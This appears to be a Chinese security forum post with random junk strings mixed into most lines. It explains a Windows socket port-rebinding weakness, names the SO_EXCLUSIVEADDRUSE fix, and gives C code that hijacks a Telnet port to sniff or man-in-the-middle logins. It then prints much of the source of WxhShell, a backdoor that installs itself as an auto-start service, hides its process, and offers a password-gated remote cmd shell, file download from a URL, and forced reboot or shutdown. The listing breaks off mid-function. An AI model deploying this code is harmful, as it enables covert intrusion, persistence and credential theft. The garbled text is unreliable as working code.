在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
nX%'o`f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rJp6d :M
!U:s.^{ saddr.sin_family = AF_INET;
RI3{>|* p]Zabky saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P1 stL, F
t/
x5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
a<TL& )Cvzj<Q0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X@U1Ri CL :M>( 这意味着什么?意味着可以进行如下的攻击:
c0q) 4!vUksM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=@=R)C4f* 2EwWV0BS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gecT*^ jMui+G(h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jDXGm[U ?3,tG z) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OB^?cA> `sy &dyM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3,I >.3 )+4}Ix/q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
O) %kl [.xk 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
yVQz<tX| YzW7;U
S #include
\Rqh|T<D #include
r5fkt>HZ #include
3H#/u! W #include
IPi<sE DWORD WINAPI ClientThread(LPVOID lpParam);
ugCS & int main()
h?3l {
Ny,A#-? WORD wVersionRequested;
)-KE 4/G DWORD ret;
m_02"' WSADATA wsaData;
\}QuNwc BOOL val;
2$zq ( SOCKADDR_IN saddr;
([dL:Fb SOCKADDR_IN scaddr;
afiK!0col2 int err;
K6*UFO4}i SOCKET s;
&9w%n SOCKET sc;
y<%.wM]-J int caddsize;
A2:){`Mw HANDLE mt;
.4re0:V DWORD tid;
|4> r" wVersionRequested = MAKEWORD( 2, 2 );
= #2qX>? err = WSAStartup( wVersionRequested, &wsaData );
4O_+4yS if ( err != 0 ) {
3r:)\E+Q_ printf("error!WSAStartup failed!\n");
fw v
T2G4 return -1;
<&s)k }
+M
O5'z saddr.sin_family = AF_INET;
J*~2:{=% gq_7_Y/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
A='+tJa Z F yX@#B9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
*RbOQ86vP saddr.sin_port = htons(23);
(&S[R{=^j if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
W;oU +z^t$ {
7M#$: Fdb printf("error!socket failed!\n");
NQiecxvt= return -1;
C:GHP$/} }
wQ=yY$VP val = TRUE;
z5&%T}$tJ //SO_REUSEADDR选项就是可以实现端口重绑定的
g;#KBxE if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)
~)SCN>- {
j)tCr Py printf("error!setsockopt failed!\n");
LH/&\k return -1;
Ik-E4pxKo }
a3dzok //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Hl2f`GZ
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
oz0n$`O$/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R!k<l<9q 5Jhbf2- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
JdUz!=I {
r5!x,{E6 ret=GetLastError();
g3~~"`2 printf("error!bind failed!\n");
lc3S|4 return -1;
Uq]EJu }
Fwx~ ~"I listen(s,2);
ZCE%38E N while(1)
5
2@udp {
nl-t<#z[ caddsize = sizeof(scaddr);
(\mulj //接受连接请求
$dZ>bXUw: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&. =}g] if(sc!=INVALID_SOCKET)
Z"n'/S:q {
"gbnLKs mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
q?Ku}eID3 if(mt==NULL)
MX`Wg {
`mKlv~$1^ printf("Thread Creat Failed!\n");
\5_P5q:` break;
uVq5fT`B }
b1+hr(kMRM }
9oje`Ay CloseHandle(mt);
)`s;~_ZZ }
>^H'ZYzw closesocket(s);
Cwsoz WSACleanup();
hVipr hC return 0;
=|gJb|?w }
s
la*3~?* DWORD WINAPI ClientThread(LPVOID lpParam)
])QO% {
)+w/\~@ SOCKET ss = (SOCKET)lpParam;
WpJD=C% SOCKET sc;
+Y5(hjE unsigned char buf[4096];
R?bn,T> SOCKADDR_IN saddr;
GcZM+ c long num;
iz9\D*or DWORD val;
}c35FM, DWORD ret;
Z[})40[M //如果是隐藏端口应用的话,可以在此处加一些判断
UVT>7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
VA=#0w saddr.sin_family = AF_INET;
M2;%1^ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
S_|9j{w) saddr.sin_port = htons(23);
2;%#C!TG; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q?;*g@t {
4/HY[FT printf("error!socket failed!\n");
D%;wVnUw return -1;
%
UW=: }
sP6 ):h val = 100;
Wkg*J3O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
SaR}\Up {
'0CXHjZN ret = GetLastError();
L,b|Iq return -1;
Ws^+7u }
RRS~ xOg if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%\X P: {
!cN?SGafZI ret = GetLastError();
;Na8_} return -1;
k1f3?l
vlU }
`z3|M#r\; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$ DDSN {
-SQJH}zCT+ printf("error!socket connect failed!\n");
/FP ~jV!z closesocket(sc);
tp1KP/2w[ closesocket(ss);
(XbMrPKG return -1;
FylWbQU9 }
hF7V !*5 while(1)
C3
gZ6m {
B@cJ\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M>?aa6@0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
7y>Tn`V8G //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I" 8d5a} num = recv(ss,buf,4096,0);
6P%<[Z if(num>0)
j<l#qho{h send(sc,buf,num,0);
k
Zk .]b else if(num==0)
:S QDqG break;
-O~C m}e num = recv(sc,buf,4096,0);
A$9q!Ui#d if(num>0)
DC$7B`#D send(ss,buf,num,0);
<S\;k@f else if(num==0)
kf+JM/ break;
JdaFY+f: }
Yw~;g:= closesocket(ss);
6?%]odI# closesocket(sc);
]PR|d\O return 0 ;
o5N]((9 }
tr}KPdE PoYr:=S? QO5OnYh ==========================================================
sTKab
: ELN|;^-/|Q 下边附上一个代码,,WXhSHELL
xNC* ]8d }': EJ~H ==========================================================
5wzQ?07T_ F3r S6_ #include "stdafx.h"
ojN`#%X ?@Z7O.u #include <stdio.h>
{ A:LAAf[6 #include <string.h>
Q?*
nuE #include <windows.h>
_, \y2&KT #include <winsock2.h>
(g%JK3 #include <winsvc.h>
<)_:NRjBF& #include <urlmon.h>
X!U]`Qh _wm~}_Q #pragma comment (lib, "Ws2_32.lib")
$!3gN% #pragma comment (lib, "urlmon.lib")
/\TQc-k?2 }7iUagN #define MAX_USER 100 // 最大客户端连接数
4]"a;( #define BUF_SOCK 200 // sock buffer
R&NpdW N #define KEY_BUFF 255 // 输入 buffer
4|zd84g b%3Q$wIJ6 #define REBOOT 0 // 重启
W:`5nj]H9 #define SHUTDOWN 1 // 关机
E/:+@'(k kjx> #define DEF_PORT 5000 // 监听端口
.>k=A|3G AU0$A403 #define REG_LEN 16 // 注册表键长度
hX0RET #define SVC_LEN 80 // NT服务名长度
G+ :bL S#: y!S^xS // 从dll定义API
VKT@2HjNT` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#t=[w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
I") H~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zTkFX67) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
])N|[ |$ !IO&&\5 // wxhshell配置信息
jz
%;4e~t struct WSCFG {
p9/bzT34. int ws_port; // 监听端口
BD hLz char ws_passstr[REG_LEN]; // 口令
p:Iw%eZ: int ws_autoins; // 安装标记, 1=yes 0=no
Bp&6x;MJf char ws_regname[REG_LEN]; // 注册表键名
Xf6fH O char ws_svcname[REG_LEN]; // 服务名
(})]H:W7 char ws_svcdisp[SVC_LEN]; // 服务显示名
{G Ub'J char ws_svcdesc[SVC_LEN]; // 服务描述信息
&K06}[J char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+*n]tlk int ws_downexe; // 下载执行标记, 1=yes 0=no
b+W)2rFO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ah 4kA LO char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*]FgfttES zs4>/9O };
P`}$-#D F u06tDJ[ // default Wxhshell configuration
xy2\'kS`G struct WSCFG wscfg={DEF_PORT,
l &}piC "xuhuanlingzhe",
~GSpl24W< 1,
DD2adu^ "Wxhshell",
IS-}:~Pi "Wxhshell",
\'[3^/(' "WxhShell Service",
s;s0}Td_1 "Wrsky Windows CmdShell Service",
)r=9]0= "Please Input Your Password: ",
]t*33 1,
-y%QRO( "
http://www.wrsky.com/wxhshell.exe",
\$'R+k-57; "Wxhshell.exe"
:eSc; };
OSU{8. V:(y*tFA // 消息定义模块
jh>N_cp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
37#cx)p^f char *msg_ws_prompt="\n\r? for help\n\r#>";
]n~yp5Nbr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
eUYZxe :6 char *msg_ws_ext="\n\rExit.";
P_Z M'[ char *msg_ws_end="\n\rQuit.";
P2O\!'aEh char *msg_ws_boot="\n\rReboot...";
]Fxku<z7| char *msg_ws_poff="\n\rShutdown...";
HHZ`% char *msg_ws_down="\n\rSave to ";
-4 8`#"xy {&E?<D2_& char *msg_ws_err="\n\rErr!";
wc"9A~ char *msg_ws_ok="\n\rOK!";
u',b1 3g( 5;}2[3}[ char ExeFile[MAX_PATH];
WmNA5;<Q int nUser = 0;
PVhik@Yoh HANDLE handles[MAX_USER];
Umij!=GPG^ int OsIsNt;
nZ~kZ |VS </,.K`''W SERVICE_STATUS serviceStatus;
nQ|GqU\oA SERVICE_STATUS_HANDLE hServiceStatusHandle;
$Tfm/ =e )W#T2Z>N1 // 函数声明
18jJzYawh int Install(void);
5Wo5n7o int Uninstall(void);
YDW|-HIF int DownloadFile(char *sURL, SOCKET wsh);
jg?bf/$s int Boot(int flag);
s}s|~ void HideProc(void);
k<!<<,Z int GetOsVer(void);
3eWJt\}?B int Wxhshell(SOCKET wsl);
2H6:np|O void TalkWithClient(void *cs);
]}.0el{ int CmdShell(SOCKET sock);
VXA[TIqp int StartFromService(void);
f#1/}Hq/I int StartWxhshell(LPSTR lpCmdLine);
{y1q7Z.M b(/j\NWC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Zgy7!AF! VOID WINAPI NTServiceHandler( DWORD fdwControl );
XJc
,uj7
P`tyBe#= // 数据结构和表定义
\Fq1^ 8qa SERVICE_TABLE_ENTRY DispatchTable[] =
Sg_O?.r {
7"#f!.E {wscfg.ws_svcname, NTServiceMain},
lVP |W:~K {NULL, NULL}
|88CBiu} };
uj)yk* ubi~% // 自我安装
55^tfu int Install(void)
w;~>k%}j {
r|<6Aae& char svExeFile[MAX_PATH];
oooS s&t HKEY key;
v G2.]? strcpy(svExeFile,ExeFile);
9976H\{ .8K6C]gw // 如果是win9x系统,修改注册表设为自启动
d @m\f if(!OsIsNt) {
Gy9
$Wj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a#$N% =j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qIz}$%!A RegCloseKey(key);
^,`M0g\$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S#mK
Pi+3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0Q`&inwh RegCloseKey(key);
0iV;g`% return 0;
a_MFQf&KV }
Ia#"/`|| }
<*_o0;h| }
!j0_
cA else {
[3kl^TE fgmSgG"b // 如果是NT以上系统,安装为系统服务
Dm^l?Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#~S>K3( if (schSCManager!=0)
Q,~x# {
>nK%^T SC_HANDLE schService = CreateService
F_v-}bbcFQ (
T{tn.sT schSCManager,
*,&S' ,S- wscfg.ws_svcname,
9n"V\e_R wscfg.ws_svcdisp,
57<Di!rt SERVICE_ALL_ACCESS,
x}|+sS,g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
I>aGp|4 SERVICE_AUTO_START,
V9Hl1\j^ SERVICE_ERROR_NORMAL,
.;g}%C svExeFile,
IT18v[-G NULL,
rI>LjHP NULL,
y6FKg) NULL,
n+rM"Gxz NULL,
'BhwNuW\" NULL
o0l74 );
<aXoB*Y
if (schService!=0)
C `6S}f, {
5B?i(2 CloseServiceHandle(schService);
Im+7<3Z CloseServiceHandle(schSCManager);
Yz\
N&0" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
X8Fzs!L` strcat(svExeFile,wscfg.ws_svcname);
toIYE*ocv= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P$OUi!" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
xCq'[9oU RegCloseKey(key);
$''UlWK return 0;
,rai%T/rL }
N571s }
,56;4)cv CloseServiceHandle(schSCManager);
c0ZaFJ }
iZ "y7s }
lE'wfUb ]-bQNYKX return 1;
(;ADW+.`J }
M)O[j}N 96}eR, // 自我卸载
1qZG`Vz int Uninstall(void)
9@'4P {
hl]S'yr HKEY key;
i?-Y =?/&u< if(!OsIsNt) {
ISBF\ wQY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PJK9704 6 RegDeleteValue(key,wscfg.ws_regname);
*HeVACxo RegCloseKey(key);
9go))&`PJL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T?rH
,$: RegDeleteValue(key,wscfg.ws_regname);
CmnHh~% RegCloseKey(key);
F>-}*o return 0;
m#n]Wgp' }
* |KVN }
x<>YUw8` }
M4:s;@qZ. else {
l!@ 1u^v2 :,~K]G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
E}YIWTX if (schSCManager!=0)
(f>M &.. {
n[CoS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:tbd,Uo if (schService!=0)
2(+P[( N1, {
328L)BmW if(DeleteService(schService)!=0) {
V|: qow:F CloseServiceHandle(schService);
^Xs]C|=W CloseServiceHandle(schSCManager);
=
F<:}Tx)C return 0;
:0I
l|aB }
6bL~6-h%) CloseServiceHandle(schService);
0Oap39 }
&,MFB CloseServiceHandle(schSCManager);
=/}X$,@2 }
t$I|E }
X"<|Z]w B9#;- QO return 1;
d.r Y-k }
0*yJ % IU9,
(E // 从指定url下载文件
niWx^gKb$ int DownloadFile(char *sURL, SOCKET wsh)
|' ;7v)CIG {
'[0YIn HRESULT hr;
(0C&z/ char seps[]= "/";
9rcI+q=E
char *token;
A*i_|]Q char *file;
J?D\$u: char myURL[MAX_PATH];
3U;1D2"AE char myFILE[MAX_PATH];
iN)af5)[^ w}`3 d@ strcpy(myURL,sURL);
'5rUe\k token=strtok(myURL,seps);
vr4S9`, while(token!=NULL)
3.),bm {
88o:NJ}_ file=token;
Zi{0-m6+ token=strtok(NULL,seps);
i@,]Z~] }
I7G,`h+H VMHC/jlX@r GetCurrentDirectory(MAX_PATH,myFILE);
*rf$>8~$n strcat(myFILE, "\\");
'{VM>Q strcat(myFILE, file);
Z %EQt send(wsh,myFILE,strlen(myFILE),0);
KY+]RxX send(wsh,"...",3,0);
t.U{Bu
P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
o5 WW{)Q if(hr==S_OK)
@a(oB.i return 0;
aD|Yo else
HcO5?{2 return 1;
7cw]v"iv eq hAus?) }
o](.368+4 Euu
,mleM // 系统电源模块
)4uq
iA6 int Boot(int flag)
y<M]dd$ {
:hP58 }Q$ HANDLE hToken;
!01i%W' TOKEN_PRIVILEGES tkp;
h8.FX-0& = eP= j.$ if(OsIsNt) {
tcOnM w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v}P!HczmMP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
l%<c6; tkp.PrivilegeCount = 1;
6LM9e0oxy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9v~5qv; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8 u:2,l if(flag==REBOOT) {
61:9(*4~!F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
C3.=GRg~l return 0;
hdg<bZk: }
v[L[A3`"/ else {
P)1EA; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
?Ib} return 0;
b:Dg}
}
/ O)6iJ }
Vp7b4n< else {
Fu##'# if(flag==REBOOT) {
\EI#az=I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
xA-jvu9@ return 0;
0;cuX@A/a? }
bNs[O22 else {
ke6n/ h5` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
g;G5 r&T return 0;
6b#~; }
s<VJ`Ur }
LyP`{_"CM a}yR p return 1;
VDn:SGj5 }
)7AM3%z1? Efr3x{ j // win9x进程隐藏模块
Tf[dZ(+\ void HideProc(void)
b1)\Zi {
v,0<9!'v Z =
ik{/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f4
O]`U if ( hKernel != NULL )
@_Sp3nWdu {
h2;l1G, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hS_.l}0yf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
iT$d;5_pU FreeLibrary(hKernel);
8&?p }
BS.= C P&o%Uc* return;
b9#m m }
^U{P3%uZ ;@4sd%L8V // 获取操作系统版本
UN(3i(d int GetOsVer(void)
)Ga8`t" {
PW)8aLU OSVERSIONINFO winfo;
=mLeMk/7 w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+f]u5p[ GetVersionEx(&winfo);
qK-qcPLsl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L!vWRwZwC return 1;
K0 QH?F else
+.K*n& return 0;
%I}'Vb{C }
>#?iO]). Om6Mmoqh // 客户端句柄模块
D 2$^" int Wxhshell(SOCKET wsl)
5p{25N_t {
#G~wE*VR$ SOCKET wsh;
RNe9h lr struct sockaddr_in client;
vX 1W@s DWORD myID;
Ys%'#f t%HI1eO7h while(nUser<MAX_USER)
z L8J`W {
kyu2)L2u int nSize=sizeof(client);
!mae^A1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
B,MQ.|s[ if(wsh==INVALID_SOCKET) return 1;
C (U `GS cRhbh handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
W1`Dx(g if(handles[nUser]==0)
pJocI_v9 closesocket(wsh);
->3uOF!q else
T+(M8qb nUser++;
+K&?)?/= }
*?p
^6vO
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$r):d Lz?*B$h return 0;
6"%@L{UQ }
Z,SY
N?@ (H2ylMpQt // 关闭 socket
bl`D+/V void CloseIt(SOCKET wsh)
i)[kubM {
YQx?*
gZS closesocket(wsh);
1]Lhk?4t nUser--;
%rw}u"3T ExitThread(0);
HM
90Sb }
~;!BDLMC6 V07VwVD // 客户端请求句柄
@ "0uM?_)- void TalkWithClient(void *cs)
\*Ts)EW {
3jXR"@Z- J ZA*{n2 SOCKET wsh=(SOCKET)cs;
e|JIrOnc char pwd[SVC_LEN];
e) ]RA?bF char cmd[KEY_BUFF];
pbPz$Y char chr[1];
G~S))p int i,j;
}\DAg'e) , !r@9T while (nUser < MAX_USER) {
;}UzJe ,S L,WkJe3 if(wscfg.ws_passstr) {
)O9f hj) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WqR7uiCi //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
el}hcAY/RP //ZeroMemory(pwd,KEY_BUFF);
X:U=MWc> i=0;
tg3zXJ4k_ while(i<SVC_LEN) {
[z^Od !ZX&r{pJp // 设置超时
o>.AdZby fd_set FdRead;
2G
ZF/9} struct timeval TimeOut;
K[e`t%2_ FD_ZERO(&FdRead);
xUIvLH= FD_SET(wsh,&FdRead);
gt~9"I TimeOut.tv_sec=8;
e~3]/BL TimeOut.tv_usec=0;
@`5QG2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
KM 5jl9Vv if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
y2GQN:X (X*'y*: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?vMK'" pwd
=chr[0]; /q T E
if(chr[0]==0xd || chr[0]==0xa) { b-2pzcK{#
pwd=0; hr%U>U9F
break; ) sRN!~
} j{)fC]8H
i++; l},dQ4R
} 5[nmP95YK
Wux 0RF&
// 如果是非法用户,关闭 socket lK "'nLL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :,jPNuOA
} 9U&~(;
3\,MsoAl
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~KJ,SLzhx9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @51z-T
l+|1G
while(1) { cW=Qh-`jU;
DE'Xq6#PK
ZeroMemory(cmd,KEY_BUFF); d8rBu jT
GI}4,!^N
// 自动支持客户端 telnet标准 Sw yaYK
j=0; K*TnUQ
while(j<KEY_BUFF) { L^6"'#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p@vpd
cmd[j]=chr[0]; " 98/HzR
if(chr[0]==0xa || chr[0]==0xd) { K1/
U
(A
cmd[j]=0; %B[YtWqm`/
break; :wFb5"
} fdN45in=>
j++; "&@gX_%
} cLn; ,u4
)uANmThOz
// 下载文件 _MGNKA6JI
if(strstr(cmd,"http://")) { ;9}w|!/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); o1
jk=
if(DownloadFile(cmd,wsh)) 3xRM
1GgO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n/xXQ7y
else |!{z?
i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KrJ 5"1=
} 5BrU'NF
else { lq~GcM
B.V?s,U
switch(cmd[0]) { >s;oOo+5
izXbp02
// 帮助 ${wU+E*
case '?': { Y,3z-Pa=@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cq-hPa}2
break; c]GQU
} Lc58lV=
// 安装 P;^y|0Nm
case 'i': { J>&[J!>r
if(Install()) CR%D\I$o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c$@`P
else Xq+!eOT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VEL:JsY
break; FX{~"
} " ]aQ Hh]f
// 卸载 =n> iQS
case 'r': { 3X,]=f@_
if(Uninstall()) vEu
Ka<5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xylpiSJ
else [Bl
$IfU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E~'q?LJOB
break; 1,m\Q_
} kJHr&=VO~
// 显示 wxhshell 所在路径 U*
-% M
case 'p': { i6-wf Gs;
char svExeFile[MAX_PATH]; >L#];|
strcpy(svExeFile,"\n\r"); 3 %z
strcat(svExeFile,ExeFile); H|grbTv,
send(wsh,svExeFile,strlen(svExeFile),0); &mX5&e
break; Is4%}J!8
} qlz( W
// 重启 <FCj)CP%
case 'b': { suA+8}o]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :({-0&&_
if(Boot(REBOOT)) }rO?5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r~8D\_=s
else { q>Q:X3
closesocket(wsh); k\sc }z8X
ExitThread(0); qFV;n6&V
} Ly#h|)
break; ;n%]*v
} TX<e_[$\
// 关机 t#fs:A7P?}
case 'd': { Xg|8".B)A
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 17J} uXA
if(Boot(SHUTDOWN)) 2z'+1+B'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %4bO_vb<9
else { LXBbz;vYl
closesocket(wsh); #JK;&Dg!
ExitThread(0); 8
m%>:}o
} yd7lcb
[
break; p:DL:^zx
} Y}AmX
// 获取shell 3!i.Fmo
case 's': { Gg
7WmL
CmdShell(wsh); jA20c(O
closesocket(wsh); .OVW4svX
ExitThread(0); lcu( "^{3
break; FQ;4'B^k]
} <dju6k7uz
// 退出 ;cM8EU^.
case 'x': { k98< s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7P3<o!YA
CloseIt(wsh); KzEuPJ?
break; >2l13^Y
} l.__10{
// 离开 b&\3ps
case 'q': { T0@](g
send(wsh,msg_ws_end,strlen(msg_ws_end),0); vjexx_fq
closesocket(wsh); D6&mf2'u
WSACleanup(); r1[E{Tpz
exit(1); .Q=2WCv0
break; 6F|Hg2tpz
} h(C#\{V
} Ze[g0"
} 6vD]@AF
*r)zBr
// 提示信息 ]`#xR*a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Dvl%:8
} dWzDSlP&
} 9_M H
sDaT[).Hm
return; R-r+=x&
} )bB"12Z|8
}};j2
// shell模块句柄 d1srV`
int CmdShell(SOCKET sock) LY@1@O2@
{ fP^W"y
STARTUPINFO si; #}[Sj-Vp
ZeroMemory(&si,sizeof(si));
Q{J"`d2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lKh2LY=j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8{}Pj
PROCESS_INFORMATION ProcessInfo; ?G~/{m.
char cmdline[]="cmd"; R`Ys;g/!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w%i+>\tO
return 0; [OFTP#}c
} ,(@Y%UW:
.G5NGB
// 自身启动模式 ?MV[=LPL
int StartFromService(void) h3UZ|B0=
{ 0UM@L
}L
typedef struct `@fhge
{ dK0}% ]i3#
DWORD ExitStatus; FT*yso:X/
DWORD PebBaseAddress; dUsJv
DWORD AffinityMask; .-C+0L1j
DWORD BasePriority; bGMeBj"R
ULONG UniqueProcessId; uZqu xu.
ULONG InheritedFromUniqueProcessId; ohQz%?r
} PROCESS_BASIC_INFORMATION; bBeFL~
C1#o<pv
PROCNTQSIP NtQueryInformationProcess; uJ|5Ve
